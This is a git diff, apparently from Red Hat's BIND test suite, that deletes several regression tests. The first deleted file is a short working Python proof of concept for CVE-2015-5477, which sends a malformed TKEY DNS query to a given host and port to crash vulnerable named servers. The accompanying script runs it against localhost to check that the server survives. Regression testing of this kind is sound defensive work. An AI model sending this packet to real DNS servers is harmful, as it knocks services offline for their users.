diff --git a/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/CVE-2015-5477.py b/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/CVE-2015-5477.py deleted file mode 100644 index 23f74fd..0000000 --- a/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/CVE-2015-5477.py +++ /dev/null @@ -1,36 +0,0 @@ -#!/usr/bin/python - -# usage: python CVE-2015-5477.py 127.0.0.1 53 -# -# An affected BIND version will crash with a message like: -# Jul 27 22:17:28 localhost named[1746]: message.c:2311: REQUIRE(*name == ((void *)0)) failed, back trace -# -# Florian Weimer / Red Hat Product Security -# -# PRIVATE EXPLOT -- DO NOT SHARE - -import dns.message -import dns.name -import dns.rdtypes.IN.A -import dns.rrset -import sys -import socket -from dns.rdataclass import IN - -target, port = sys.argv[1:] -port = int(port) - -invalid = dns.name.from_text("invalid.") - -additional = dns.rrset.RRset(invalid, IN, dns.rdatatype.A) -additional.add(dns.rdtypes.IN.A.A(IN, dns.rdatatype.A, "192.0.2.1")) - -msg = dns.message.Message() -msg.question.append(dns.rrset.RRset(invalid, IN, dns.rdatatype.TKEY)) -msg.additional.append(additional) -print(msg.to_text()) -blob = msg.to_wire() -print(repr(blob)) - -sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0) -sock.sendto(blob, (target, port)) diff --git a/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/Makefile b/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/Makefile deleted file mode 100644 index 856a433..0000000 --- a/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/Makefile +++ /dev/null @@ -1,64 +0,0 @@ -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Makefile of /CoreOS/bind/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial -# Description: Test for BZ#1247374 (bind TKEY query handling flaw leading to denial of) -# Author: Petr Sklenar -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2015 Red Hat, Inc. -# -# This program is free software: you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation, either version 2 of -# the License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see http://www.gnu.org/licenses/. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -export TEST=/CoreOS/bind/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial -export TESTVERSION=1.0 - -BUILT_FILES= - -FILES=$(METADATA) runtest.sh Makefile PURPOSE CVE-2015-5477.py - -.PHONY: all install download clean - -run: $(FILES) build - ./runtest.sh - -build: $(BUILT_FILES) - test -x runtest.sh || chmod a+x runtest.sh - -clean: - rm -f *~ $(BUILT_FILES) - - -include $(realpath /usr/share/rhts/lib/rhts-make.include) - -$(METADATA): Makefile - @echo "Owner: Petr Sklenar " > $(METADATA) - @echo "Name: $(TEST)" >> $(METADATA) - @echo "TestVersion: $(TESTVERSION)" >> $(METADATA) - @echo "Path: $(TEST_DIR)" >> $(METADATA) - @echo "Description: Test for BZ#1247374 (bind TKEY query handling flaw leading to denial of)" >> $(METADATA) - @echo "Type: Regression" >> $(METADATA) - @echo "TestTime: 5m" >> $(METADATA) - @echo "RunFor: bind" >> $(METADATA) - @echo "Requires: bind python-dns python2-dns python3-dns python-crypto python3" >> $(METADATA) - @echo "Priority: Normal" >> $(METADATA) - @echo "License: GPLv2+" >> $(METADATA) - @echo "Confidential: no" >> $(METADATA) - @echo "Destructive: no" >> $(METADATA) - @echo "Bug: 1247374" >> $(METADATA) - @echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA) - - [ -x /usr/bin/rhts-lint ] && rhts-lint $(METADATA) diff --git a/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/PURPOSE b/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/PURPOSE deleted file mode 100644 index 5547c9c..0000000 --- a/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/PURPOSE +++ /dev/null @@ -1,5 +0,0 @@ -PURPOSE of /CoreOS/bind/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial -Description: Test for BZ#1247374 (bind TKEY query handling flaw leading to denial of) -Author: Petr Sklenar -Bug summary: bind: TKEY query handling flaw leading to denial of service [rhel-7.2] -Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1247374 diff --git a/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/main.fmf b/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/main.fmf deleted file mode 100644 index 85bcd95..0000000 --- a/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/main.fmf +++ /dev/null @@ -1,28 +0,0 @@ -summary: Test for BZ#1247374 (bind TKEY query handling flaw leading to denial of) -description: | - Bug summary: bind: TKEY query handling flaw leading to denial of service [rhel-7.2] - Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1247374 -contact: Petr Sklenar -component: -- bind -test: ./runtest.sh -require: -- bind -- python-dns -- python2-dns -- python3-dns -- python-crypto -- python3 -duration: 5m -enabled: true -tag: -- NoRHEL4 -- NoRHEL5 -- TIPfail -- TIPfail_infra -- TIPpass_FIPS -relevancy: | - distro = rhel-4, rhel-5, rhel-6: False -extra-summary: /CoreOS/bind/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial -extra-task: /CoreOS/bind/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial -extra-nitrate: TC#0504919 diff --git a/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/runtest.sh b/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/runtest.sh deleted file mode 100755 index 4f9c6de..0000000 --- a/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial/runtest.sh +++ /dev/null @@ -1,55 +0,0 @@ -#!/bin/bash -# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# runtest.sh of /CoreOS/bind/Regression/bz1247374-bind-TKEY-query-handling-flaw-leading-to-denial -# Description: Test for BZ#1247374 (bind TKEY query handling flaw leading to denial of) -# Author: Petr Sklenar -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2015 Red Hat, Inc. -# -# This program is free software: you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation, either version 2 of -# the License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see http://www.gnu.org/licenses/. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -# Include Beaker environment -. /usr/bin/rhts-environment.sh || exit 1 -. /usr/share/beakerlib/beakerlib.sh || exit 1 - -PACKAGE="bind" - -rlJournalStart - rlPhaseStartSetup - rlAssertRpm $PACKAGE - rlServiceStart named - rlRun "service named status" - rpm -qa | grep python| grep dns || yum install -y python\*-dns\* - rlPhaseEnd - - rlPhaseStartTest - python='python3' - rlIsRHEL '<8' && python='python2' - rlRun "$python CVE-2015-5477.py 127.0.0.1 53 &> log" - rlLog "`echo XXXXXXXXXXXXXXXXXXXXXXX;cat log;echo XXXXXXXXXXXXXXXXXXXXXX`" - rlRun "service named status" - rlPhaseEnd - - rlPhaseStartCleanup - rlServiceRestore named - rm -rf log - rlPhaseEnd -rlJournalPrintText -rlJournalEnd diff --git a/Regression/bz517279-BIND-post-install-scripts-overwriting-data/Makefile b/Regression/bz517279-BIND-post-install-scripts-overwriting-data/Makefile deleted file mode 100644 index 507eb84..0000000 --- a/Regression/bz517279-BIND-post-install-scripts-overwriting-data/Makefile +++ /dev/null @@ -1,64 +0,0 @@ -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Makefile of /CoreOS/bind/Regression/bz517279-BIND-post-install-scripts-overwriting-data -# Description: Test for bz517279 (BIND post install scripts overwriting data,) -# Author: Martin Cermak -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2010 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -export TEST=/CoreOS/bind/Regression/bz517279-BIND-post-install-scripts-overwriting-data -export TESTVERSION=1.0 - -BUILT_FILES= - -FILES=$(METADATA) runtest.sh Makefile PURPOSE - -.PHONY: all install download clean - -run: $(FILES) build - ./runtest.sh - -build: $(BUILT_FILES) - chmod a+x runtest.sh - -clean: - rm -f *~ $(BUILT_FILES) - - -include $(realpath /usr/share/rhts/lib/rhts-make.include) - -$(METADATA): Makefile - @echo "Owner: Martin Cermak " > $(METADATA) - @echo "Name: $(TEST)" >> $(METADATA) - @echo "TestVersion: $(TESTVERSION)" >> $(METADATA) - @echo "Path: $(TEST_DIR)" >> $(METADATA) - @echo "Description: Test for bz517279 (BIND post install scripts overwriting data,)" >> $(METADATA) - @echo "Type: Regression" >> $(METADATA) - @echo "TestTime: 15m" >> $(METADATA) - @echo "RunFor: bind" >> $(METADATA) - @echo "Requires: bind file bind-utils bind-chroot" >> $(METADATA) - @echo "Priority: Normal" >> $(METADATA) - @echo "License: GPLv2" >> $(METADATA) - @echo "Confidential: no" >> $(METADATA) - @echo "Destructive: no" >> $(METADATA) - @echo "Bug: 517279" >> $(METADATA) - - [ -x /usr/bin/rhts-lint ] && rhts-lint $(METADATA) diff --git a/Regression/bz517279-BIND-post-install-scripts-overwriting-data/PURPOSE b/Regression/bz517279-BIND-post-install-scripts-overwriting-data/PURPOSE deleted file mode 100644 index 94f44d1..0000000 --- a/Regression/bz517279-BIND-post-install-scripts-overwriting-data/PURPOSE +++ /dev/null @@ -1,11 +0,0 @@ -PURPOSE of /CoreOS/bind/Regression/bz517279-BIND-post-install-scripts-overwriting-data -Description: Test for bz517279 (BIND post install scripts overwriting data,) -Author: Martin Cermak -Bug summary: BIND post install scripts overwriting data, linking to itself -Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=517279 - - -Tested with buggy bind-chroot-9.3.6-4.P1.el5.x86_64.rpm: - - rlRun "rpm -e bind-chroot" - rlRun "rpm -Uvh /root/bind-chroot-9.3.6-4.P1.el5.x86_64.rpm" diff --git a/Regression/bz517279-BIND-post-install-scripts-overwriting-data/main.fmf b/Regression/bz517279-BIND-post-install-scripts-overwriting-data/main.fmf deleted file mode 100644 index ba3f7ec..0000000 --- a/Regression/bz517279-BIND-post-install-scripts-overwriting-data/main.fmf +++ /dev/null @@ -1,29 +0,0 @@ -summary: Test for bz517279 (BIND post install scripts overwriting data,) -description: | - Bug summary: BIND post install scripts overwriting data, linking to itself - Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=517279 - - - Tested with buggy bind-chroot-9.3.6-4.P1.el5.x86_64.rpm: - - rlRun "rpm -e bind-chroot" - rlRun "rpm -Uvh /root/bind-chroot-9.3.6-4.P1.el5.x86_64.rpm" -contact: Petr Sklenar -component: -- bind -test: ./runtest.sh -require: -- bind -- file -- bind-utils -- bind-chroot -duration: 15m -enabled: true -tag: -- TIPfail_infra -- TIPpass -- Tier1 -tier: '1' -extra-summary: /CoreOS/bind/Regression/bz517279-BIND-post-install-scripts-overwriting-data -extra-task: /CoreOS/bind/Regression/bz517279-BIND-post-install-scripts-overwriting-data -extra-nitrate: TC#0126573 diff --git a/Regression/bz517279-BIND-post-install-scripts-overwriting-data/runtest.sh b/Regression/bz517279-BIND-post-install-scripts-overwriting-data/runtest.sh deleted file mode 100755 index ac57810..0000000 --- a/Regression/bz517279-BIND-post-install-scripts-overwriting-data/runtest.sh +++ /dev/null @@ -1,80 +0,0 @@ -#!/bin/bash -# vim: dict=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# runtest.sh of /CoreOS/bind/Regression/bz517279-BIND-post-install-scripts-overwriting-data -# Description: Test for bz517279 (BIND post install scripts overwriting data,) -# Author: Martin Cermak -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2010 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -# Include rhts environment -. /usr/bin/rhts-environment.sh -. /usr/lib/beakerlib/beakerlib.sh - -# this test must not be run automatically -if test -z "$JOBID"; then - -rlJournalStart - rlPhaseStartSetup - if rpm -q bind97; then - rlAssertRpm "bind97-chroot" - rlAssertRpm "bind97-utils" - PACKAGE="bind97-chroot" - else - rlAssertRpm "bind-chroot" - rlAssertRpm "bind-utils" - PACKAGE="bind-chroot" - fi - rlRun "service named stop" - rlFileBackup --clean "/var/named" - rlRun "rm -rf /var/named/*" - rlRun "mkdir -p /var/named/chroot/var/named/data" - rlRun "ln -s /var/named/chroot/var/named/data /var/named/data" - rlRun "touch /var/named/data/testfile" - rlPhaseEnd - - rlPhaseStartTest - rlRun "file /var/named/data/* | grep \"broken symbolic link\"" 1 - if rlIsFedora; then - rlRun "dnf -y remove $PACKAGE" - rlRun "dnf -y install $PACKAGE" - else - rlRun "yum -y remove $PACKAGE" - rlRun "yum -y install $PACKAGE" - fi - rlRun "file /var/named/data/* | grep \"broken symbolic link\"" 1 - rlPhaseEnd - - rlPhaseStartCleanup - rlFileRestore - rlPhaseEnd -rlJournalEnd - -else - -rlJournalStart - rlPhaseStartTest - rlLogInfo "This test should be run by hand. Reporting PASS formally." - rlPhaseEnd -rlJournalEnd - -fi diff --git a/Regression/bz556770-RFE-use-appropriate-verify-for-config-files/Makefile b/Regression/bz556770-RFE-use-appropriate-verify-for-config-files/Makefile deleted file mode 100644 index 7842cf0..0000000 --- a/Regression/bz556770-RFE-use-appropriate-verify-for-config-files/Makefile +++ /dev/null @@ -1,64 +0,0 @@ -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Makefile of /CoreOS/bind/Regression/bz556770-RFE-use-appropriate-verify-for-config-files -# Description: Test for bz556770 (RFE: use appropriate %verify for config files) -# Author: Martin Cermak -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2010 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -export TEST=/CoreOS/bind/Regression/bz556770-RFE-use-appropriate-verify-for-config-files -export TESTVERSION=1.0 - -BUILT_FILES= - -FILES=$(METADATA) runtest.sh Makefile PURPOSE - -.PHONY: all install download clean - -run: $(FILES) build - ./runtest.sh - -build: $(BUILT_FILES) - chmod a+x runtest.sh - -clean: - rm -f *~ $(BUILT_FILES) - - -include $(realpath /usr/share/rhts/lib/rhts-make.include) - -$(METADATA): Makefile - @echo "Owner: Martin Cermak " > $(METADATA) - @echo "Name: $(TEST)" >> $(METADATA) - @echo "TestVersion: $(TESTVERSION)" >> $(METADATA) - @echo "Path: $(TEST_DIR)" >> $(METADATA) - @echo "Description: Test for bz556770 (RFE: use appropriate %verify for config files)" >> $(METADATA) - @echo "Type: Regression" >> $(METADATA) - @echo "TestTime: 15m" >> $(METADATA) - @echo "RunFor: bind" >> $(METADATA) - @echo "Requires: bind bind-chroot bind-utils" >> $(METADATA) - @echo "Priority: Normal" >> $(METADATA) - @echo "License: GPLv2" >> $(METADATA) - @echo "Confidential: no" >> $(METADATA) - @echo "Destructive: no" >> $(METADATA) - @echo "Bug: 556770" >> $(METADATA) - - [ -x /usr/bin/rhts-lint ] && rhts-lint $(METADATA) diff --git a/Regression/bz556770-RFE-use-appropriate-verify-for-config-files/PURPOSE b/Regression/bz556770-RFE-use-appropriate-verify-for-config-files/PURPOSE deleted file mode 100644 index 0dd8def..0000000 --- a/Regression/bz556770-RFE-use-appropriate-verify-for-config-files/PURPOSE +++ /dev/null @@ -1,8 +0,0 @@ -PURPOSE of /CoreOS/bind/Regression/bz556770-RFE-use-appropriate-verify-for-config-files -Description: Test for bz556770 (RFE: use appropriate %verify for config files) -Author: Martin Cermak -Bug summary: RFE: use appropriate %verify for config files -Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=556770 - -Fixed in RHEL5.6+ - diff --git a/Regression/bz556770-RFE-use-appropriate-verify-for-config-files/main.fmf b/Regression/bz556770-RFE-use-appropriate-verify-for-config-files/main.fmf deleted file mode 100644 index 8fc8ed1..0000000 --- a/Regression/bz556770-RFE-use-appropriate-verify-for-config-files/main.fmf +++ /dev/null @@ -1,26 +0,0 @@ -summary: 'Test for bz556770 (RFE: use appropriate %verify for config files)' -description: |+ - Bug summary: RFE: use appropriate %verify for config files - Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=556770 - - Fixed in RHEL5.6+ - -contact: Petr Sklenar -component: -- bind -test: ./runtest.sh -require: -- bind -- bind-chroot -- bind-utils -duration: 15m -enabled: true -tag: -- TIPfail_infra -- TIPpass -- Tier1 -- tip_destructive_el8 -tier: '1' -extra-summary: /CoreOS/bind/Regression/bz556770-RFE-use-appropriate-verify-for-config-files -extra-task: /CoreOS/bind/Regression/bz556770-RFE-use-appropriate-verify-for-config-files -extra-nitrate: TC#0126558 diff --git a/Regression/bz556770-RFE-use-appropriate-verify-for-config-files/runtest.sh b/Regression/bz556770-RFE-use-appropriate-verify-for-config-files/runtest.sh deleted file mode 100755 index f933f3b..0000000 --- a/Regression/bz556770-RFE-use-appropriate-verify-for-config-files/runtest.sh +++ /dev/null @@ -1,58 +0,0 @@ -#!/bin/bash -# vim: dict=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# runtest.sh of /CoreOS/bind/Regression/bz556770-RFE-use-appropriate-verify-for-config-files -# Description: Test for bz556770 (RFE: use appropriate %verify for config files) -# Author: Martin Cermak -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2010 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -# Include rhts environment -. /usr/bin/rhts-environment.sh -. /usr/lib/beakerlib/beakerlib.sh - - -rlJournalStart - rlPhaseStartSetup - if rpm -q bind97; then - rlAssertRpm bind97-chroot - rlAssertRpm bind97-utils - PACKAGE="bind97" - else - rlAssertRpm bind-chroot - rlAssertRpm bind-utils - PACKAGE="bind" - fi - rlAssertRpm $PACKAGE - rlFileBackup /etc/sysconfig/named - rlPhaseEnd - - rlPhaseStartTest - rlRun "rpm -V $PACKAGE 2>&1 | grep \"/etc/sysconfig/named\"" 1 - rlRun "echo \"# a comment\" >> /etc/sysconfig/named" - rlRun "rpm -V $PACKAGE 2>&1 | grep \"/etc/sysconfig/named\"" 1 - rlPhaseEnd - - rlPhaseStartCleanup - rlFileRestore - rlPhaseEnd -rlJournalEnd diff --git a/Regression/bz559524-host-should-return-non-zero-status-in-case-of/Makefile b/Regression/bz559524-host-should-return-non-zero-status-in-case-of/Makefile deleted file mode 100644 index 78cc48e..0000000 --- a/Regression/bz559524-host-should-return-non-zero-status-in-case-of/Makefile +++ /dev/null @@ -1,64 +0,0 @@ -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Makefile of /CoreOS/bind/Regression/bz559524-host-should-return-non-zero-status-in-case-of -# Description: Test for bz559524 (host should return non-zero status in case of) -# Author: Martin Cermak -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2010 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -export TEST=/CoreOS/bind/Regression/bz559524-host-should-return-non-zero-status-in-case-of -export TESTVERSION=1.0 - -BUILT_FILES= - -FILES=$(METADATA) runtest.sh Makefile PURPOSE - -.PHONY: all install download clean - -run: $(FILES) build - ./runtest.sh - -build: $(BUILT_FILES) - chmod a+x runtest.sh - -clean: - rm -f *~ $(BUILT_FILES) - - -include $(realpath /usr/share/rhts/lib/rhts-make.include) - -$(METADATA): Makefile - @echo "Owner: Martin Cermak " > $(METADATA) - @echo "Name: $(TEST)" >> $(METADATA) - @echo "TestVersion: $(TESTVERSION)" >> $(METADATA) - @echo "Path: $(TEST_DIR)" >> $(METADATA) - @echo "Description: Test for bz559524 (host should return non-zero status in case of)" >> $(METADATA) - @echo "Type: Regression" >> $(METADATA) - @echo "TestTime: 5m" >> $(METADATA) - @echo "RunFor: bind" >> $(METADATA) - @echo "Requires: bind bind-utils bind-chroot" >> $(METADATA) - @echo "Priority: Normal" >> $(METADATA) - @echo "License: GPLv2" >> $(METADATA) - @echo "Confidential: no" >> $(METADATA) - @echo "Destructive: no" >> $(METADATA) - @echo "Bug: 559524" >> $(METADATA) - - [ -x /usr/bin/rhts-lint ] && rhts-lint $(METADATA) diff --git a/Regression/bz559524-host-should-return-non-zero-status-in-case-of/PURPOSE b/Regression/bz559524-host-should-return-non-zero-status-in-case-of/PURPOSE deleted file mode 100644 index f7d8675..0000000 --- a/Regression/bz559524-host-should-return-non-zero-status-in-case-of/PURPOSE +++ /dev/null @@ -1,31 +0,0 @@ -PURPOSE of /CoreOS/bind/Regression/bz559524-host-should-return-non-zero-status-in-case-of -Description: Test for bz559524 (host should return non-zero status in case of) -Author: Martin Cermak -Bug summary: host should return non-zero status in case of error -Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=559524 - -Description: - -Description of problem: -The 'host' command returns status code 0 even in case of failed operation. - -Version-Release number of selected component (if applicable): -bind-utils-9.2.4-30.el4_8.5 - -How reproducible: -always - -Steps to Reproduce: -1. (make sure DNS server is not running on localhost) -2. host -l example.org 127.0.0.1; echo $? - -Actual results: -;; Connection to 127.0.0.1#53(127.0.0.1) for example.org failed: connection refused. -0 - -Expected results: -;; Connection to 127.0.0.1#53(127.0.0.1) for example.org failed: connection refused. -1 - -Additional info: -This causes false negatives (i.e. no error detected when there is an error) in our testsuite. diff --git a/Regression/bz559524-host-should-return-non-zero-status-in-case-of/main.fmf b/Regression/bz559524-host-should-return-non-zero-status-in-case-of/main.fmf deleted file mode 100644 index 44516f4..0000000 --- a/Regression/bz559524-host-should-return-non-zero-status-in-case-of/main.fmf +++ /dev/null @@ -1,30 +0,0 @@ -summary: Test for bz559524 (host should return non-zero status in case of) -description: "Bug summary: host should return non-zero status in case of error\nBugzilla\ - \ link: https://bugzilla.redhat.com/show_bug.cgi?id=559524\n\nDescription:\n\n\ - Description of problem:\nThe 'host' command returns status code 0 even in case\ - \ of failed operation.\n\nVersion-Release number of selected component (if applicable):\n\ - bind-utils-9.2.4-30.el4_8.5\n\nHow reproducible:\nalways\n\nSteps to Reproduce:\n\ - 1. (make sure DNS server is not running on localhost)\n2. host -l example.org\ - \ 127.0.0.1; echo $?\n \nActual results:\n;; Connection to 127.0.0.1#53(127.0.0.1)\ - \ for example.org failed: connection refused.\n0\n\nExpected results:\n;; Connection\ - \ to 127.0.0.1#53(127.0.0.1) for example.org failed: connection refused.\n1\n\n\ - Additional info:\nThis causes false negatives (i.e. no error detected when there\ - \ is an error) in our testsuite.\n" -contact: Petr Sklenar -component: -- bind -test: ./runtest.sh -require: -- bind -- bind-utils -- bind-chroot -duration: 5m -enabled: true -tag: -- TIPfail_infra -- TIPpass -- Tier1 -tier: '1' -extra-summary: /CoreOS/bind/Regression/bz559524-host-should-return-non-zero-status-in-case-of -extra-task: /CoreOS/bind/Regression/bz559524-host-should-return-non-zero-status-in-case-of -extra-nitrate: TC#0126555 diff --git a/Regression/bz559524-host-should-return-non-zero-status-in-case-of/runtest.sh b/Regression/bz559524-host-should-return-non-zero-status-in-case-of/runtest.sh deleted file mode 100755 index 4ed1d32..0000000 --- a/Regression/bz559524-host-should-return-non-zero-status-in-case-of/runtest.sh +++ /dev/null @@ -1,54 +0,0 @@ -#!/bin/bash -# vim: dict=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# runtest.sh of /CoreOS/bind/Regression/bz559524-host-should-return-non-zero-status-in-case-of -# Description: Test for bz559524 (host should return non-zero status in case of) -# Author: Martin Cermak -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -# -# Copyright (c) 2010 Red Hat, Inc. All rights reserved. -# -# This copyrighted material is made available to anyone wishing -# to use, modify, copy, or redistribute it subject to the terms -# and conditions of the GNU General Public License version 2. -# -# This program is distributed in the hope that it will be -# useful, but WITHOUT ANY WARRANTY; without even the implied -# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR -# PURPOSE. See the GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public -# License along with this program; if not, write to the Free -# Software Foundation, Inc., 51 Franklin Street, Fifth Floor, -# Boston, MA 02110-1301, USA. -# -# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -# Include rhts environment -. /usr/bin/rhts-environment.sh -. /usr/lib/beakerlib/beakerlib.sh - -rlJournalStart - 